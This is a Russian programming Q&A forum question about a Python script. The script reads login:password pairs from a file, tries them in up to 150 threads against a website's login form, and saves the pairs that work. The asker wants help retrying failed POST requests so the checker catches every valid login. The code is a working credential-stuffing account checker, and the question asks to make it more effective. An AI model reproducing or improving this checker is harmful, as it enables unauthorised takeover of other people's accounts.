Задать вопрос
@kpkkk423

Повтор отправки POST при ошибке?

Как сделать так что если он первый раз видит на странице ошибка то что бы он ещё раз отправил пост запрос
Проблема в том что первый раз может показать ошибку а вот второй раз заходит
И определить что вошёл по тексту : Настройки
import requests
import random
import threading
from lxml import html

accs = list(set(open("tiwar.txt", encoding="utf-8").read().split('\n')))
def check():
    while accs:
        acc = random.choice(accs)
        login = acc.split(":")[0]
        password = acc.split(":")[1]
        while True:
                try:
                    ses = requests.Session()
                    ses.get("http://site.ru/?sign_in=1")
                    data = {"login": login, "pass": password}
                    login_req = ses.post("http://site.ru/", data=data)
                    html.fromstring(login_req.content)
                    if "Настройки" in login_req.text:
                        open("TiwarGood.txt", "a", encoding="utf-8").write("{}:{}\n".format(login, password))
                        print("{}:{} - Успешно авторизован!".format(login, password))
                        break
                    elif "Ошибка авторизации, логин или пароль введены неверно!" in login_req.text:
                        print("{}:{} - Ошибка авторизации!".format(login, password))
                        break
                    else:
                        print(login_req.text)
                except Exception as e:
                    print(e)

shift = int(input("Количество поток(1 - 150) : "))
for i in range (shift):
    thread = threading.Thread(target=check)
    thread.start()
  • Вопрос задан
  • 65 просмотров
Подписаться 1 Простой Комментировать
Помогут разобраться в теме Все курсы
  • Нетология
    Python-разработчик: расширенный курс + нейросети
    12 месяцев
    Далее
  • Skillbox
    Python-разработчик
    10 месяцев
    Далее
  • ProductStar
    Профессия: Python-разработчик
    8 месяцев
    Далее
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы